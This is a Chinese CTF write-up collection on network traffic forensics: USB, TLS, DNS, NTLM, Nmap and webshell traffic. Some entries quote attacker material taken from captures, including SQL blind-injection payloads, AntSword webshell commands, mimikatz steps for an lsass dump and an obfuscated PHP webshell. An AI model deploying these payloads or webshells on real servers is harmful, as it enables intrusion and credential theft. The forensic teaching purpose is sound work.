
CTF_MISC流量分析做题记录

CTF MISC 流量分析做题记录
从零开始的CTF流量分析做题记录,工具主要是wireshark/tshark。标上难度,给各位CTFer练习流量分析提供一些方向,简单的题目步骤很简略,要看详细的wp可以自行搜索;
内含非纯流量分析,可能有流量分析的外壳但套娃套了各种方向的题目;
本来想按照不同的平台区分,但后来觉得有些不便,于是后面的更新都会带上平台或比赛名。目前简单分类中0x1A之前,中等分类中0x0E之前,困难分类中0x09之前的所有题目均可在BUUCTF中找到。后续的更新会带上平台(比赛)名称。
简单
0x01 wireshark
- 简单,wireshark搜索password,直接可以找到
0x02 被嗅探的流量
- 简单,wireshark搜索flag{

0x03 http流量分析1
- 简单,直接搜索flag就可以找到
0x04 数据包中的线索
- 简单,搜索http,追踪一下
- from base64 cyberchef
0x05 被偷走的文件
- 简单,wireshark直接导出flag.rar
- Wireshark:file— Export Objects — FTP-data
- Flag.rar是加密的,ARCHPR跑出密码
5790
- flag
0x06 荷兰数据泄露
这是一道宽带数据分析题
- 题目描述:flag{宽带用户名}
- 简单,拿到了需要通过一个工具,把
conf.bin
转化为conf.xml,在里面可以直接找到username
0x07 NTFS数据流
- 简单,用ntfs数据流读取工具就可以
AlternateStreamView
- 注意解压需要在windows环境下,用winrar或者7zip
- 再把解压后的文件夹丢进工具扫描
看到一篇不错的文章:Windows ADS在渗透测试中的妙用 - FreeBuf网络安全行业门户
0x08 [9.4.1 鼠标流量分析] 鼠标流量分析
- 简单,前提是你需要了解鼠标流量数据格式,tshark提取数据
- 拿到数据包里面应该是这样的
关于鼠标流量数据包info里,GET DESCRIPTOR...
以及URB_INTERRUPT in
这些分别代表什么数据包,以及这些数据包里的字段代表什么含义请查看:
关于鼠标流量数据(HID Data)格式介绍,以及解密脚本的使用请查看:
这里需要提醒一下各位,这个题目抓取的HID Data是8bytes的,但你会在鼠标流量数据格式介绍中看到鼠标流量主要以4bytes为主,但是由于各种原因,你拿到的HID Data可能是4或6bytes的,需要具体问题具体分析,通常来说,里面一定有4个字节是代表鼠标数据格式的
- 这道题用的工具是: P001water/UsbmiceCracker: CTF中常见鼠标流量解密脚本 (github.com) ,使用前记得先利用tshark把数据提取出来,*
usbhid.data
可以用来过滤具有hiddata的数据包*
如果自己写的话,一定要注意matplotlib的正y轴是向下延伸的。嗯,我在这个问题上浪费了1h。
python3 ./UsbmiceCracker.py -f ~/Desktop/atta\ \(2\).pcapng -e usb.capdata -a LEFT
就可以直接看到结果了

- 最后的flag就是
flag{Hello}
又是学知识的一天😭,流量分析依然任重道远。
0x09 [9.4.2 键盘流量分析]键盘流量分析
- 简单,直接利用键盘解密脚本即可:FzWjScJ/knm: 鼠标键盘流量包取证 (github.com) ,这个脚本也可以用来解密鼠标流量
- 键盘数据格式通常为8bytes,具体含义可以查看:
脚本使用
- 这个脚本自带数据提取,先利用pca提取到out.txt
- 再从out.txt 解析数据
flag:
flag{helloworld!}
0x0A [NewStarCTF 2023 公开赛道]流量!鲨鱼!
- 简单,先过滤一下http包,然后数据包长度从大到小排列一下
- 看到这个长度为820的数据包uri为
/1.php?cmd=base64%20/.ffffllllllll11111144444GGGGGG|base64
,追踪一下,看到一串数据
- 这段数据拷贝下来,这应该是把原本base64的数据再base64传输的,所以要经过两次base64解码,如果你不知道,可以依赖cyber的magic :smile:,或者凭借敏锐的眼力看出Zmxh(这个是flag经过base64拿到的字符串)
- flag为
flag{Wri35h4rk_1s_u53ful_b72a609537e6}
0x0B [9.3.3 TLS流量分析]TLS流量分析
- 简单,了解一下TLS流量分析
- 先过滤一下http,追踪一下最大的post请求数据包
可以看见很多字段,通过搜索发现这些是tls key.log文件的内容,于是保存为key.log
- 编辑->首选项->Protocols->TLS->Pre-Master-Secret log filename
在选中区域填写刚刚保存的key.log文件
- 导入后,过滤http,发现多了几个包,可以直接搜索flag,直觉与经验告诉我,先查看/Login,果然😄
- flag为
flag{e3364403651e775bfb9b3ffa06b69994}
0x0C 大流量分析(一)
- 简单,flag是攻击ip,利用wireshark的统计功能即可,大多是sourceip是172开头,b类的内网ip,找统计里,次数比较多的外网ip,很容易找到
183.129.152.140
0x0D 大流量分析(二)
- 简单,flag是发送钓鱼邮件的邮箱地址,在时间最早的数据包中过滤
smtp
已经可以看到几个邮箱了,直觉和经验告诉我应该是xsser@live.cn
,嗯确实是
- 追踪一下
xsser@live.cn
相关tcp流,发现这样一段消息:
- 一看就是钓鱼邮件啦,所以flag就是
flag{xsser@live.cn}
0x0E 大流量分析(三)
- 简单,挨个数据包找,后门一般都是.php文件,而且,一般上传了一个木马后会测试phpinfo能不能返回,利用这点写过滤
http.request.full_uri contains "phpinfo()"
- 找到了
admin.bak.php
,flag为flag{admin.bak.php}
0x0F 秘密文件
- 简单,先过滤一下ftp
- 看到第一个包的info,像是一段话,追踪一下,直接能看到传输的文件应该是
6b0341642a8ddcbeb7eca927dae6d541.rar
- 遇到这种需要提取文件的问题,可以利用wireshark自带的
Export Objects
或者直接利用binwalk
foremost
这类工具提取 文件。这里第一种方法无法提取,采用binwalk。
- 拿到的rar是加密的,里面有个txt,对于rar来说最常见的就是暴力破解,ARCHPR直接破解得到密码
1903
,txt里面就是flag:flag{d72e5a671aa50fa5f400e5d10eedeaa5}
0x10 John-in-the-middle
- 简单的套娃,流量分析的外壳,实则是个图片隐写
- wireshark打开发现了很多png,foremost分出来,依次丢进stegsolve,logo.png直接有flag出来
0x11 [SUCTF2018] followme
- 简单,过滤http之后,随便看看Post,就看到了flag
0x12 [CFI-CTF 2018]webLogon capture
- 简单,urldecode
urldecode:CFI{1ns3cur3_l0g0n}
Flag:flag{1ns3cur3_l0g0n}
0x13 greatescape
- 简单,看到ftp-data,先export objects->ftp-data,发现有个ssc.key,正好有很多tls数据包
- 把ssc.key存下来,放进设置tls协议的rsalists里面,然后直接可以看到多出来的http数据包,按照大小排序一下,优先查看更大的数据包,依次追踪一下,很容易在头里面发现一个flag:
INS{OkThatWasWay2Easy}
- flag :
flag{OkThatWasWay2Easy}
0x14 [INSHack2017]remote-multimedia-controller
- 简单,追踪几个tcp流,追踪到eq 2,能看见可疑数据
basecrack
magic一把嗦:python3 basecrack.py -m
然后输入这串数据
0x15 [NewStarCTF 公开赛赛道]Whats HTTP
- 简单,通过几个返回200的http,追踪一下流,发现
- 复制下来,丢给cyberchef,拿到flag:
flag{4f33649d030c6778426971b54dd72ece}
0x16 [Dest0g3 520迎新赛]StrangeTraffic
- 简单
- 简单了解一下:Modbus由MODICON公司于1979年开发,是一种工业现场总线协议标准。1996年施耐德公司推出基于以太网TCP/IP的Modbus协议,ModbusTCP。
- 追踪TCP流,每四条变换一个字母
组合一下:RGVzdDBnM3szMUE1QkVBNi1GMjBELUYxOEEtRThFQS0yOUI0RjI1NzEwOEJ9
拿去base64得到flag:Dest0g3{31A5BEA6-F20D-F18A-E8EA-29B4F257108B}
0x17 [DASCTF八月挑战赛]stealer
- 简单的DNS流量分析,恶心在最后的flag只交里面的md5
- 感觉DNS经常往queries的name里面写东西,先过滤一下dns,然后发现了开头为
iVBORW
,这是PNG头的base64,再过滤一下dns.flags==0x8180
,意思是只过滤dns responses,如果是dns.flags==0x0100
则是只过滤requests - tshark 提取一下
1 | tshark -nr "stealer.pcapng" -Y 'dns.flags == 0x8180' -T fields -e "dns.qry.name"|sed 's/.ctf.com.cn$//g'|sed 's/*/+/g' >stealer.txt |
手动删除开头和结尾多余的字符串,*再把变成+**(这个地方不是很好想)
- 丢进cyberchef
- flag只交md5,所以没有o和l
1 | 1d3f729ac02bbc15f00adccd79207ab0 |
0x18 [2022DASCTF Apr X FATE 防疫挑战赛]SimpleFlow
简单的webshell蚁剑流量分析
tcp追踪流
eq 42: head -n 2 ../flag.txt
输出了flag.txt的前两行
eq 50: 这一串解出来是下面这一串,发现了zip的密码PaSsZiPWorD
1 | cd "/Users/chang/Sites/test";zip -P PaSsZiPWorD flag.zip ../flag.txt;echo [S];pwd;echo [E] |
eq 51: 发现了目录下有flag.zip,zip里面想必就是flag.txt,把flag.zip提取出来,可以使用foremost直接分离,或者继续追踪流找zip
eq 52:成功发现PK字段,提取出来,拿到压缩包
- 压缩包是加密的,用我们得到的密码解密,即可得到flag:
DASCTF{f3f32f434eddbc6e6b5043373af95ae8}
0x19 [NewStarCTF 2023 公开赛道]Nmap
- 简单,第一次接触nmap流量分析,flag为开放的端口(用英文逗号隔开从小到大)
- 需要知道nmap几种扫描方式会怎样发包,找到题目的扫描方式,再对应分析端口开放的回复包
- 根据上面的网址,对应**-sS扫描模式,因为可以看见大量SYN包且目标端口有很多个,-sS模式下,回复包为SYN/ACK证明端口开放,RST包则说明端口关闭,ICMP不可达报文或者没有回复则说明端口被防火墙屏蔽了**
- SYN,ACK的flags值为0x012,过滤一下,因为是回复包,只要注意源端口即可,发现有这几个端口,所以flag为
flag{80,3306,5000,7000,8021,9000}
0x1A [INSHack2018]GCorp - Stage 1
- 简单,直接追踪tcp流,只有一个流,最底下有一串base64,解码得到flag
0x1B [GKCTF X DASCTF应急挑战杯]签到
- 简单,追踪tcp,在eq5 发现cat了flag 流程是cat->base64->rev
- 把数据导出,先from hex,再from base64,存进文件里
- 直接命令行:
cat 1.txt|rev|base64 -d
,直接逆序是不行的依然会错位,rev是按行逆序
数据出现是重复的,两个取一个就可以得到flag:flag{Welc0me_GKC4F_m1siCCCCCC!}
0x1C [NewStarCTF 2023 公开赛道]2-分析
- 简单
前面有个1-序章,是sql盲注数据分析,python直接写正则,没有写这道题的wp
- 只需要追踪http流就可以看到登录用户名
best_admin
和有漏洞的phpindex.php
- 在get请求包里看到webshell代码:
wh1t3g0d.php
- flag为
flag{md5(best_admin_index.php_wh1t3g0d.php)}
,即flag{4069afd7089f7363198d899385ad688b}
0x1D [SwampCTF2024] Notoriously Tricky Login Mess (Part 1)
1 | 题目描述: |
- 第一次遇到NTLM流量,这道题还挺简单的,要注意这题是NTLMv2
NTLMv2流量简单介绍:Live off the Land and Crack the NTLMSSP Protocol :: Mike Gualtieri (mike-gualtieri.com)
NTLM流量详解(包含v1 v2):NTLM协议详解-腾讯云开发者社区-腾讯云 (tencent.com)
- 这道题需要获得username,结合ntlmssp,NTLMSSP Message Type 3: Username Field,找type 3的包,可以先过滤
ntlmssp
,在info里就能看到两个username:\Administrator
和\adamkadaban
显然Administrator应该是本地用户,所以答案就是admkadaban
- 包内容里面也有字段
0x1E [SwampCTF2024] New C2 Channel?
1 | 题目描述: |
- 题目的意思大概是数据以别的方式传递,挺新颖的这道题
- 打开wireshark,过滤http,发现uri里藏了东西,而且是用8堆出来的字符。这里我的想法本身是用tshark提取,然后xxd转一下,找完整的字符,太难看了,真是界于好看和难看之间,好难看;于是我缩小了过滤,
http.request.full_uri
,然后发现下一个包的uri数据,就是上一个包的数据,往左平移一列(物理) - 这是第一个包
- 这是第二个包,往左平移了一列
愚蠢如我,居然决定继续用tshark,每隔16个包提取,因为有16列,虽然也能基本看到所有字母,再加上半推理,能拿到大概的flag,但小问题有点多
- 就在我愁着的时候,在wireshark里面查看各个包,我按了几下下键“⬇️”,emmmm,直接动起来了,,,,哈哈哈哈哈,有种白做了的感觉,总之,很奇妙,涨知识了。很有趣。秦家窃密搜。
- 我也想出一道类似的题目哈哈哈哈,哪天来整整
0x1F [DASCTF X GFCTF 2024]tele
- 题目来源:BUUCTF
- 题目描述:这是我们抓到的一个犯醉团伙的通话流量,请找到发起者的IP地址!
- 简单的读文档题,协议是STUN
- stun协议解析:STUN协议解析_rfc5780-CSDN博客
- 找到具有mapped-address字段的包,这个字段是客户端的外部地址
Ctrl+F
搜索Packet details
mapped-address
- Flag就是
171.88.96.93
0x20 [NSSCTF 3rd] The Least Secret
TCP segmentdata 主要考察tshark以及能不能看懂题目中的
Least Secret
打开流量包发现TCP流量包中,有类似
[237:"00110110"]
这样的数据,一共有392条用tshark提取出来:
1 | tshark -nr message.pcapng -Y "tcp.len>=14" -T fields -e "tcp.segment_data"|xxd -r -p |
- 根据题目Least Secret,想到lsb,因此按照0-391的顺序提取最低位
1 | import re as r |
- cyberchef-from binary得到flag
1 | NSSCTF{c0ngr4tu1ati0ns_U_4r3_r3a11y_a_LSB_m45ter} |
中等
0x01 [9.3.2 webshell混淆流量分析]webshell流量分析1
- 中等,菜刀
- 设置筛选条件
http
,先看看http的数据包都有些啥,然后看到了有些是/upload/1.php
,应该是上传了什么东西,追踪一下http流
可以看到里面传了一个z1 base64为RDpcd2FtcDY0XHd3d1x1cGxvYWQ=
,cyberchef拿到解码后结果D:\wamp64\www\upload
,所以z1应该是上传的路径的参数
我们可以找找他上传了什么东西,先通过
http.request.uri contains '/upload/1.php'
筛选数据包,把数据包的length从大到小排列一下。length长的想必信息一定是最多的吧!果然我们在第一条里看到了不一样的东西,首先此包有个z1参数,解码后为
D:\wamp64\www\upload\6666.jpg
,看来上传了一个jpg,此外,还有一个新的参数z2,from hex后发现应该就是6666.jpg,里面有一行像password的,先留着Th1s_1s_p4sswd_!!!
- 再追踪一下这个包,发现应该是上传了
6666.jpg flag.txt hello.zip
这些文件,可以猜测上面拿到的password是压缩包的密码
- 目标转化成找flag.txt 或 hellp.zip了,回到
http.request.uri contains '/upload/1.php'
的筛选列表里,通过z1的值来判断上传的文件,看来这个1364的包就是传hello.zip的包了
- 追踪一下,发现了PK字眼,找到
hello.zip
了,开心😄
well,you need passwd!
也验证了我们的猜想,这个压缩包是需要密码的;并且可以看出来flag.txt应该在zip里面,接下来我们只需要把这个zip提取出来就好了。
Show data as
选择 Raw,把最后面一段蓝色数据复制下来,在cyberchef中from hex,在输入窗口中搜索504b0304
(zip 头),定位后把前面的多余数据删掉即可
点击保存为zip
- zip提取需要密码,输入密码
Th1s_1s_p4sswd_!!!
,可以看到flag.txt
- get the flag
1 | flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z} |
webshell流量有很多种,详情描述请查看:
0x02 [NewStarCTF 公开赛赛道]最后的流量分析
- 中等,重点在数据处理
- 拿到手过滤一下http,发现是sql盲注的流量
1 | if((substr((select(text)from(wfy_comments)where(id=100)),1,1)=%22q%22),100,0) |
(substr((select(text)from(wfy_comments)where(id=100)),1,1)=%22q%22):从wfy_comments表中选择id是100的列,然后使用该substr()函数提取第一个字符(从位置 1 开始、长度为 1 的子字符串),将提取的字符和q比较。
if(…,100,0):true返回100,false返回0。即?name=100或?name=0
经过观察发现,不同的数据包修改的值是,提取字符的位置(substr的中间的参数),和=后面用于比较的字符,例如这个例子里的q
- 将数据包大小排序,经过观察,可以发现长度在768以上的返回的h2是
好耶!你有这条来自f1ag_is_here条留言
,长度在764以下的返回的是啊哦,这条留言不存在哦~
- 通过
data-text-lines and frame.len <= 768
直接过滤出注入成功的数据包(data-text-lines是过滤有text data的包,也就是返回html的包)
:raised_hands:这里想跟大家分享一下写wireshark过滤的小技巧,如果你和我一样懒得查看英文手册的话:joy: ,找到你想筛选的数据,右键,apply as filter,任意选择selected或not,你就能看见这个字段的过滤应该怎么写了,再根据你实际想要达到的效果修改符号为不等于或大于小于等等。
- tshark+sed,直接在终端数据处理:
1 | tshark -nr "sqli.pcap" -Y "data-text-lines and frame.len >= 768" -T fields -e "http.response_for.uri"|sed 's/^.*)),//g'|sed 's/^.*=%22//g' |sed 's/%22.*$//g'|tr -d '\n' |
tshark的命令就不解释了,一开始拿到的数据是这样的:
1 | http://127.0.0.1/comments.php?name=if((substr((select(text)from(wfy_comments)where(id=100)),1,1)=%22f%22),100,0) |
来解释一下sed,s/和/中间的是正则表达式,执行替换功能,s/…/…/g的第一个…是正则的位置,第二个…是替换结果,//g是把符合正则的东西替换成空
sed 's/^.*)),//g'
后:
1 | 1,1)=%22f%22),100,0) |
sed 's/^.*=%22//g'
后:
1 | f%22),100,0) |
sed 's/%22.*$//g'
后:
1 | f |
tr -d '\n'
删除换行符
- 最终得到flag:
flag{c84bb04a-8663-4ee2-9449-349f1ee83e11}
,%7B
和%7D
分别是url编码里的{
和}
0x03 sqltest
如题,应该知道是sql盲注的攻击流量,http过滤一下发现攻击者是在利用二分法盲注攻击
根据上道题目最后的流量分析,积累的经验,找到成功的数据包长度,应该是1095,失败的长度是1027;攻击者在套flag之前,先会通过二分法注入找flag字段的长度,所以我们应该只过滤验证flag具体内容的数据包
根据上述两条编写过滤规则:
http.response_for.uri contains "ascii(substr(((select%20concat_ws(char(94" and data-text-lines
。这里不能和上一题一样只过滤注入成功的包(长度为1095的包),因为我们需要通过一个成功和下一个的失败来判断具体的数据(例如现在的字符的ascii码是102,我们需要通过 >101成功和>102失败来验证ascii=102)
tshark 提取数据:
1 | tshark -nr "sqltest.pcapng" -Y 'http.response_for.uri contains "ascii(substr(((select%20concat_ws(char(94" and data-text-lines' -T fields -e "frame.len" -e "http.response_for.uri" | sed 's/http.*)),%20//g'|sed 's/,%201))>/,/g' > ~/Desktop/sqltest.txt |
把包长度,当前字符位置,>后面的数据提取出来
- python处理数据,得出flag
1 | import re |
0x04 流量分析
- 题目hint
1 | 流量分析 |
- 中等,主要是不能被FTP里面的Fl-g.zip绕进去,我显然是被绕进去了🤮。一直在试图修zip,拿到里面的qr-code.jpg,大家一定要仔细琢磨提示。
- tcp contains “KEY” 可以找到一串base64 的image
- from base64 cyberchef 得到一张图
- 把这些提取出来(考眼力,做到这我已经疲惫了),按照提示补齐私钥,导入wireshark
编辑->首选项->Protocols->TLS->RSA keys list Edit->添加key file->完成
1 | -----BEGIN RSA PRIVATE KEY----- |
- 然后就可以看到http
- 终于,flag
- 参考
这位师傅做这道题的心路历程和我差不多😭:ddctf2018 · Tianji’s Blog (fengyuhetao.github.io)
0x05 [安洵杯2019] Attack
- 中等
- 看到了upload,先binwalk看看里面有啥东西,能看到里面有个zip,zip里面有个flag.txt,但是zip是加密的,用foremost把zip提取出来
- 丢进010先看看是不是伪加密,可惜不是伪加密,同时看到flag.txt有一个注释:
这可是administrator的秘密,怎么能随便给人看呢?
- 回到wireshark,export objects->http,看到里面有一个lsass.dmp
lsass是windows系统的一个进程,用于本地安全和登陆策略。mimikatz可以从 lsass.exe 里获取windows处于active状态账号明文密码。本题的lsass.dmp就是内存运行的镜像,也可以提取到账户密码
结合注释,应该是需要通过mimikatz提取这个dump里面的账户密码
[BUU MISC刷题记录 安洵杯 2019]Attack - 云千 - 博客园 (cnblogs.com)
Mimikatz:gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)
- mimikatz提取
1 | //提升权限 |
1 | Username:Administrator |
- 用password打开压缩包,打开flag.txt,最底部是flag:
flag{3466b11de8894198af3636c5bd1efce2}
0x06 [BSidesSF2019]table-tennis
- 中等,icmp数据处理
- 发现icmp有data,里面有一些数据,能看到<html>等信息
- 用tshark把data先提取出来:
1 | tshark -nr "tabletennis.pcapng" -Y 'icmp.resp_to' -T fields -e "data.data" |
发现每个包里面有很多重复数据,一个包里面大概有5份重复数据,一个icmp包data数据块一共是40bytes,里面一份数据是8bytes
- 利用cut只提取第二个8bytes:
cut -c 17,32
,-c表示按照字符切割,前面有16个字符(8bytes),故从第17位开始往后提取16个到第32位;再xxd把hex转成文本
1 | tshark -nr "tabletennis.pcapng" -Y 'icmp.resp_to' -T fields -e "data.data" |cut -c 17-32 | xxd -r -p |
很容易注意到script标签下的这行数据:Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9
,base64解码
- 得到flag:
flag{JustAS0ngAb0utP1ngP0ng}
0x07 [XMAN2018排位赛]AutoKey
- 中等,键盘流量,使用工具:FzWjScJ/knm: 鼠标键盘流量包取证 (github.com)
- 先提取usb里的data
- 利用工具,把记录的data转成键盘输入
按照原始数据显示的话会把功能键打印出来<CAP><DEL>这些
- 可以看到autokey().decipher,使用的是autokey加密,由于密钥不知道,我们需要使用autokey爆破工具:hotzzzzy/breakautokey: breakautokey (github.com)
其实我还找到一个在线网站,但这里不是很准确,先留存一下,以后可以试试:Vigenere Solver | guballa.de
- 在python2的环境下,需要有pycipher包
可以看见key为“FLAGHERE”时,是一串有意义的英文,加上空格
1 | klen 8 :"FLAGHERE", HELLO BOYS AND GIRLS YOU ARE SO SMART THAT YOU CAN FIND THE FLAG THAT I HIDE IN THE KEYBOARD PACKAGE FLAG IS JHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF |
- flag:
flag{JHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF}
0x08 [羊城杯 2020]TCP_IP
- 中等,流量包协议不多,数据处理部分简单,但有两个点:ip数据报隐写和base91加密比较难想
- wireshark打开,很多tcp,追踪发现是一段对话,拿tshark摘出来,发现没有什么用,,,,被耍了
- 接下来这个点就有点难想了,需要对TCPIP隐写有一定的了解或者要善于发现,IP协议中的identification看似是随机的,实则是出题人故意设置的(又积累经验了),想到这一点就很简单,拿tshark提取就好了
原理:【技术分享】基于TCP/IP协议栈的隐写术和隐蔽通道(part 1)-安全客 - 安全资讯平台 (anquanke.com)
1 | tshark -nr "TCP_IP.pcap" -Y 'tcp' -T fields -e "ip.id"|sed 's/0x00//g'|tr -d '\n' |
- 拿到这一串之后,xxd一下把hex解码了
数据有一部分有重复,一定要仔细,,,否则有些工具没法识别是标准的base编码
1 | @iH<,{*;oUp/im"QPl`yR*ie}NK;.D!Xu)b:J[Rj+6KKM7P |
😊问题又来了,看到这一串你能否想到是base91呢,我没想到(又积累经验了),对basefamily了解不深,只会丢给cyberchef,所以我决定开始使用basecrack,看不出啥编码的先拿这工具单扫一遍:
basecrack:Xzeroxvan07/basecrack-1: Decode All Bases - Base Scheme Decoder (github.com) *
用了发现确实挺好用
- flag:
flag{wMt84iS06mCbbfuOfuVXCZ8MSsAFN1GA}
0x09 [BSidesSF2019]thekey
- 键盘流量,中等偏简单,归于中等的原因是有几个点需要注意
- 用工具提取流量
我先用的knm这个脚本,但是提取出来的数据不够完整
按照这个myfavoritte这些是没有中间的_,两边也没有{,交上去是错的
建议多个脚本试试看,所以我使用了另一个脚本:UsbKeyboardDataHacker,这个是完整的信息
WangYihang/UsbKeyboardDataHacker: USB键盘流量包取证工具 , 用于恢复用户的击键信息 (github.com)
1 | viim<SPACE>flaag.ttxt<RET>iTthe<SPACE>flaag<SPACE>is<SPACE>ctf<ESC>vbUuA{[my_favoritte_editor_is_vim}<ESC>hhhhhhhhhhhhhhhhhhhau<ESC>vi{U<ESC>:;wq<RET> |
可以看到用了vim,这就要求对vim熟悉了,,,复盘一下这个键盘输入,得到,但其实那个favouritte里的U经过h回退应该在r后面,但这样是错的,我怀疑是前面有字符不属于vim里的键盘输入,比如[
- 解释一下vim编辑器里的按键
i
启动insert模式,插入字符;<ESC>退出insert模式;v
启动visual模式,可以选择文本;i{
选择当前大括号对内的文本{…},在本例中为my_favoritte_editor_is_vim;U
是将所选文本转换为大写的命令;b
后移一个单词,光标停在上一个单词开头;h
左移一个字符
- flag:
flag{MY_FAVORITTE_EDITOR_IS_VIM}
0x0A [NewStarCTF 公开赛赛道]WebShell!
- 中等,蚁剑流量,flag{WebShell密码_黑客获取的用户名_机密文件内容}
- 先过滤
http
,Get请求里没什么东西,重点看POST请求,过滤http.request.method==POST
- 因为是蚁剑流量,蚁剑流量的一个特征就是
@ini_set()
,对应的key就是webshell连接密码,这里是n3wst4r
- 接着按顺序依次追踪POST请求数据包,看里面的php代码,以及打印的内容,这里只挑关键的流的关键部分来讲
参数h37e8ca57159a8的值和执行的命令有关,因此只需要每次注意这个参数,就能知道这个包主要执行了什么命令
1 | //tcp.stream eq 34 |
substr($_POST["h37e8ca57159a8"],2)
从第三位字母开始截取,因此base64解码Y2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGQwZjRhNjhhO3B3ZDtlY2hvIDI1ZTcw,得到cd "/var/www/html";whoami;echo d0f4a68a;pwd;echo 25e70
;结合代码分析,在echo 03da0f8
之后会打印whoami
,对应到下面的输出,拿到用户名www-data
继续追踪流,找机密文件内容,同理,分析参数即可,在下面的参数中出现了cat /secret
,很容易想到secret就是机密文件
1 | g883299482ed9b=BRL2Jpbi9zaA==&h37e8ca57159a8=GlY2QgIi92YXIvd3d3L2h0bWwiO2NhdCAvc2VjcmV0O2VjaG8gZDBmNGE2OGE7cHdkO2VjaG8gMjVlNzA=&n3wst4r=@ini_set("display_errors", "0"); |
在输出aac1c1之后的第一个输出应该是cat /secret
的结果,拿到secret的内容Y0UAr3G00D
- flag为:
flag{n3wst4r_www-data_Y0UAr3G00D}
关于蚁剑流量可以查看:浅谈蚁剑流量分析 - 知乎 (zhihu.com)
0x0B [DASCTF X BUUOJ 五月大联动]sseddoG
- 套了流量分析壳的Crypto
- 过滤
http
后,看到两个文件:Athena.png
和Top_secret.zip
,把这两个文件导出 - zip里面是一个dat,cat出来发现是一堆十六进制,先放着
- png先binwalk一下发现了里面有xml和pem证书文件,但是直接使用
binwalk -e
分离是提取不出来了,进入到010editor
中手动提取,里面主要有一个public key和一个private key(其实是两个,但是重复了),还有一个疑似flag,但是并不是
1 | -----BEGIN PUBLIC KEY----- |
- 接下来就要联想到crypto中的RSA,根据dat文件中的<data>和<sign>标签,可以推测,data里面的是密文,sign里面是签名
1 | from Crypto.PublicKey import RSA |
- 得到flag
1 | flag{9c24662f37e33ad7803ed43b740025b6} |
flag{80,3306,5000,7000,8021,9000}
0x0C [UTCTF2020]icmp-file-transfe
- icmp流量分析,需要环境,我这里只做了提取pcap现有data
- 具体wp可移步:[UTCTF2020]icmp-file-transfer - 云千 - 博客园 (cnblogs.com)
0x0D FBCTF 2019 evil
- evil bit
- 太久远了,已经没有环境了
- 看看别人写的wp,了解一下就好
Facebook CTF 2019 文章 - 让我们来做 CTF — Facebook CTF 2019 Writeup - CTFするぞ (hatenablog.com)
0x0E [环境已失效] [UTCTF2020]dns-shell
- DNS流量分析,能udp追踪看到base64,但是通过dig查主机信息以后的步骤已经无法成功了,这种题一般都是有时效的,不知道为什么buu还是收录了这种题
- 附上wp,大家了解一下做题步骤就好
0x0F [服务器已失效][INSCTF2017]dga
- XMPP协议,tcp传了一个类似帮助手册的东西,需要连接服务器,记录一下wp
inshack-2017/challenges/misc/dga-75/writeup.md 在 master ·雨果Delval/inshack-2017 (github.com)
0x10 [NewStarCTF 2023 公开赛道]3-溯源
- 第一次见到冰蝎流量
PHP代码中可能存在eval、assert等关键词;
jsp代码中可能会有get class(),get class loader()等字符特征。
中国菜刀、蚁剑的攻击流量特征明显,容易被各类安全设备检测,而冰蝎是一款基于Java开发的动态加密通信流量的Webshell工具,由于通信流量被加密,传统的 WAF、IDS 设备难以检测,冰蝎最大特点就是对交互流量进行对称加密(冰蝎密文采用对称加密算法AES加密,加密后还会进行 base64 编码),且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。
解题第一步,先找AES加密算法的密钥:
服务器使用随机数MD5的高16位作为密钥,存储到会话的SESSIONID中,我们可以通过wireshark抓包看到。
冰蝎流量特征:冰蝎V4.0流量分析到攻防检测 - FreeBuf网络安全行业门户
- 先
http.request.method==POST
过滤一下,第一个包,追踪http流,发现一个php
1 |
|
从代码中我们可以找到:AES加密的密钥 $key="e45e329feb5d925b";
- 接下来由于POST请求包有很多,直接追踪tcp流又不能直接看到http的响应保文,先用tshark把这些包的tcp.stream提取出来:
1 | % tshark -nr "溯源.pcap" -Y 'http.request.method == POST ' -T fields -e "tcp.stream"|uniq|tr '\n' ' ' |
uniq
去掉重复
tr '\n' ' '
把换行符替换成空格
- 一个一个追踪http流,主要看响应报文
响应报文解密,只发现这个网站有用:AES批量加密解密 - 在线工具 (bugscaner.com)
- 再针对响应报文,解base64,最终发现了User和ip,所以flag为:
flag{www-data_172.17.0.2}
这篇wp没怎么好好写,因为拖延了3天,细节也不想补充了,,,,
0x11 [DASCTF X GFCTF2024] parser
- 来源:BUUCTF,题目描述:警告!有大黑阔入侵我们的某台服务器!” leader:小小混淆,一看就刚学不久,交给你了
- 过滤一下
http.request.full_uri
- 依次追踪一下http流
1 | GIF89a<?php str_rot13(substr('kofvamreebe_ercbegvat', 6, 15))(E_ALL ^ E_NOTICE); $........................................ = str_rot13(substr('etsjuonfr64_qrpbqr', 5, 13))(substr('vxMDgwNjdTZWM=', 2, 12)); function xorDecrypt($....................................., $..........................) { $..................................... = str_rot13(substr('xothonfr64_qrpbqr', 4, 13))($.....................................); $.......................................... = str_rot13(substr('jtonfr64_qrpbqr', 2, 13))(''); $................................. = str_rot13(substr('efgeyra', 1, 6))($..........................); for ($............................................ = 0; $............................................ < str_rot13(substr('jtefgeyra', 3, 6))($.....................................); $............................................++) { $............................ = $..........................[$............................................ % $.................................]; $............................... = str_rot13(substr('ybeq', 1, 3))($.....................................[$............................................]) - $............................................ % 3; $............................... = ($............................... ^ str_rot13(substr('rgxamfbeq', 6, 3))($............................)) % 256; $.......................................... .= str_rot13(substr('hlvqapue', 5, 3))($...............................); } return $..........................................; } class A { public function __construct($................................, $.....................................) { $.............................. = str_rot13(substr('xjyvwrkbeQrpelcg', 6, 10))($................................, str_rot13(substr('ncchbaonfr64_qrpbqr', 6, 13))(substr('jhpmqR0ZDVEYyMDI0', 5, 12))); $................................ = str_rot13(substr('gyfjiekbeQrpelcg', 6, 10))($....................................., str_rot13(substr('ascbqonfr64_qrpbqr', 5, 13))(substr('sgxsemREFTQ1RG', 6, 8))); str_rot13(substr('hgwqkmcevag_e', 6, 7))(str_rot13(substr('kiokxonfr64_rapbqr', 5, 13))(str_rot13(substr('cfdnkbeQrpelcg', 4, 10))(str_rot13(substr('jmonfr64_rapbqr', 2, 13))(str_rot13(substr('yndhsupnyy_hfre_shap', 6, 14))($.............................., $................................)), str_rot13(substr('ukifonfr64_qrpbqr', 4, 13))(substr('hrwcuhR0VUTVlGTEFH', 6, 12))))); } } if ($_POST[str_rot13(substr('vqewegonfr64_qrpbqr', 6, 